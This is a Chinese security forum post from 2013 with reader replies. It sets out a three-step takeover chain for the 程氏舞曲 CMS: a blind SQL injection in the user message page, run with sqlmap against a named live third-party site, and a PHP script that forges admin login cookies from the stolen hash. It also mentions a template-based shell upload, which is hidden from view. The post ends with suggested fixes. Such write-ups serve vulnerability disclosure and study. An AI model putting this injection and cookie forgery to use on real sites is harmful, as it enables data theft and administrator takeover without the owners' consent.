查看: 13177|回复: 9

程氏舞曲CMS 三步GETSHELL

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2013-12-28 18:38:36 | 显示全部楼层 |阅读模式
    SQL绕过双重保险再注射+无需解MD5后台认证绕过(同时绕过了安装时写在config文件里的验证码)+后台GETSHELL 无论从技术难度还是危害讨论,均已到达最高RANK了吧
    实例演示的站点为官方主页链接过去的 www.26yy.com
    GETSHELL由于对服务器文件有影响,只在本机127.0.0.1演示
    详细源码分析,漏洞证明截图各见下文相应区域
    详细说明:
    第一步:
    分析:
    本CMS使用自定义CS_Request过滤所有GET和POST
    比如:
    [AppleScript] 纯文本查看 复制代码
    $id=CS_Request("id");
     
     
     
    function CS_Request($pi_strName)
      
    {
      
      set_magic_quotes_runtime(0);           //明显要用addslashes
      
      $magic= get_magic_quotes_gpc();    
      
      if ( isset($_GET[$pi_strName]) ){
      
        $t_Val = $magic?trim($_GET[$pi_strName]):addslashes(trim($_GET[$pi_strName]));
      
      }else if ( isset($_POST[$pi_strName])){
      
        $t_Val = $magic?trim($_POST[$pi_strName]):addslashes(trim($_POST[$pi_strName]));
      
      }else{
      
        return '';
      
      }
      
      return uhtml($t_Val);
      
    }

    结论:本CMS使用addslashes对输入进行过滤
    /user/member/skin_msg.php line:128
    [AppleScript] 纯文本查看 复制代码
    if(!empty($id)){ //id不能为空
      
                       $row=$db->getrow("select * from ".Getdbname('xiaoxi')." where CS_ID='".$id."'");
      
    //上面这一句里id带上了引号,加上addslashes完全无法注射
      
    //上面这一句的目的是 防止 非法数据起作用,先判断能否避免注射并且正常执行
      
                       if($row){//如果$row为真,即上一SQL成功执行并返回,则通过判定
      
                            $db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'");
      
    //上面这一句里id没有带引号,如果前面无限制(第一句判定通过的话)应该可以盲注
      
    //与以下语句无关,继续
      
                            if($row['CS_Userb']=='系统消息'){
      
                               $logo=piclink('logo','');
      
                               $link='#';
      
                            }else{
      
                               $us=$db->getrow("select * from ".Getdbname('user')." where CS_Name='".$row['CS_Userb']."'");
      
                               $logo=piclink('logo',$us['CS_Logo']);
      
                               $link=userlink('index',$us['CS_ID']);
      
                            }
     
    //漏洞出在防注射的检测上(第一句)
     
    $row=$db->getrow("select * from ".Getdbname('xiaoxi')." where CS_ID='".$id."'");
     
    if($row){
     
    ……
     
    $db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'");
     
    //正常情况下第一句语句执行如下,$row为true,继续执行第二句

    直接mysql控制台语句执行是这样的
    QQ截图20131228183059.jpg
    成功返回,因此可以继续
    //但是在加入注入语句时,虽然没有引发注射,但是$row仍然为true
    //因为单引号的作用是CAST VARCHAR TO INT,类似intval尽力从起始位置恢复一个整数,而不会报错终止,这样的话只要第一个数字正确存在,$row就会为true,语句将会继续执行
    QQ截图20131228183132.jpg
    成功返回了!仍然会继续!

    //到达第二个语句时由于id没有单引号保护,所以引发了注射(但是addslashes仍然起着作用,所以只能依靠盲注)
    [AppleScript] 纯文本查看 复制代码
    $db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'");

    登陆网站注册用户(本CMS的主要功能都强制要求注册使用,因此开放注册是必须的!)
    QQ截图20131228183206.jpg
    由于注射点在用户中心里面(外面可能也有,不过我分析的代码在用户中心里,所以就此演示了)
    HAVIJ 一定记着 load cookie,SQLMAP记着 –cookie参数
    QQ截图20131228183235.jpg
    参数:MYSQL-TIME-BASED INTEGER
    请大家使用sqlmap,sqlmap示例在漏洞证明里对躺枪的26yy用了一下……
    成功注射如下图
    QQ截图20131228183304.jpg
    注意图中的CS_QUANX是有值的,只是Havij 格式 BUG 没显示出来,还是SQLMAP比较靠谱,不过在本次漏洞挖掘中,只需要显示的三项就够了(后来发现sqlmap能跑出来,大家都用sqlmap吧)
    //注射可以获取数据库内容,尤其是CS_AdminPass,不过这样是不够的,因为即使你能解MD5,也过不了admin登录时的验证码(验证码安装时写死在config.php里面了,注射获取不到,虽然才4位,暴力的话有悖于原则)
    第一步 注射 完毕
    第二步:
    每一个admin下面的文件都包含loginstate.php
    看来是用来验证身份
    /admin/loginstate.php 开头没几行
    [AppleScript] 纯文本查看 复制代码
    if(empty($_COOKIE['CS_AdminID'])){
    //COOKIE我们能控制
                die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>");
          }elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){
    //COOKIE我们能控制 
                die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>");
     
            }else{
                     global $db;
                   $rowa=$db->getrow("SELECT * FROM ".Getdbname('admin')." Where CS_ID='".$_COOKIE['CS_AdminID']."'");
    //根据COOKIE里的admin id取数据
                   if($rowa){
                           if($rowa['CS_AdminName']!=$_COOKIE['CS_AdminUserName'] || md5($rowa['CS_AdminPass'])!=$_COOKIE['CS_AdminPassWord']){
    //将取出的数据与COOKIE中数据比较,注意这里pass反向又用了md5,看来安全意识还是蛮高的,只是追求安全还用COOKIE这有点儿奇怪,到这里我们由注射拿到了CS_AdminName和CS_AdminPass,因此可以伪造COOKIE进后台了
    //与以下代码无关
                         die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>");
                       }
                   }else{
                         die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>");
                     }
          }
    
    //伪造身份POC
    <?php
    $CS_AdminID=1;
    $CS_AdminUserName='admin';
    $CS_AdminPass='5f4dcc3b5aa765d61d8327deb882cf99';
    $CS_Quanx='1,2_2,2_3,2_4,2_5,2_6,2_7,3_1,3_2,3_3,3_4,4_1,4_2,4_3,4_4,4_5,4_6,4_7,5_1,5_2,5_3,5_4,5_5,6_1,6_2,6_3,7_1,7_2,8_1,8_2,8_3,8_4';
    $CS_AdminPassWord=md5($CS_AdminPass);
    $CS_Login=md5($CS_AdminID.$CS_AdminUserName.$CS_AdminPassWord.$CS_Quanx);
    echo 'CS_Quanx='.$CS_Quanx.'          ';
    echo 'CS_AdminUserName='.$CS_AdminUserName.'          ';
    echo 'CS_AdminPassWord='.$CS_AdminPassWord.'          ';
    echo 'CS_Login='.$CS_Login.'          ';
    ?>
    //直接将前三项改为注射结果即可,$CS_Quanx应该固定为示例字符串即可无需改动
    将提示出来的COOKIE分项添加进firefox即可,或者其他自己喜欢的方法均可
    懒得做js脚本了,这个POC凑合着测试吧
    

    QQ截图20131228183621.jpg
    提示:这里的CS_AdminPassWord为数据库pass的再次md5值,当初审代码时没注意,走了点弯路
    游客,如果您要查看本帖隐藏内容请回复


    到此分析完毕

    修复方案:
    1.SQL注入(主要是分析中的第二句引发注射)
    解决方式:把所有语句id之类的变量都带上单引号,然后再进SQL查询,而不能依赖某处的判断
    2.后台绕过
    解决方式:第一种方式可以全用SESSION,不允许使用用户可控的COOKIE,因为ADMIN是敏感操作,不需要什么十天半个月后还能自动登录的功能
    第二种方式可以在加密算法中整合CONFIG.PHP中的验证码运算,这样可以保证验证码的作用不被绕过
    3.后台GETSHELL
    解决方式:强行把用户编辑的模板文件扩展名改为html
    作者:xj616
    回复

    使用道具 举报

  • TA的每日心情

    2021-9-9 23:35
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2013-12-28 22:40:27 | 显示全部楼层
    马克
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-8-21 09:22
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2013-12-29 10:21:06 | 显示全部楼层
    神奇的编程
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2017-8-10 19:40
  • 签到天数: 33 天

    [LV.5]常住居民I

    发表于 2013-12-29 11:48:29 | 显示全部楼层
    这东西找了好久勒,谢谢!!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-4-11 19:14
  • 签到天数: 32 天

    [LV.5]常住居民I

    发表于 2013-12-29 17:09:02 | 显示全部楼层
    我是来顶啊酱油的
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2013-12-29 21:51:12 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-11-8 14:32
  • 签到天数: 140 天

    [LV.7]常住居民III

    发表于 2014-1-2 02:14:01 | 显示全部楼层
    太感谢了!正找的!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-1-3 02:50:56 | 显示全部楼层
    有点迷茫
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-1-5 19:21:58 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-1-6 14:38:57 | 显示全部楼层
    好好学习,天天向上
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-22 01:40 , Processed in 0.038246 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部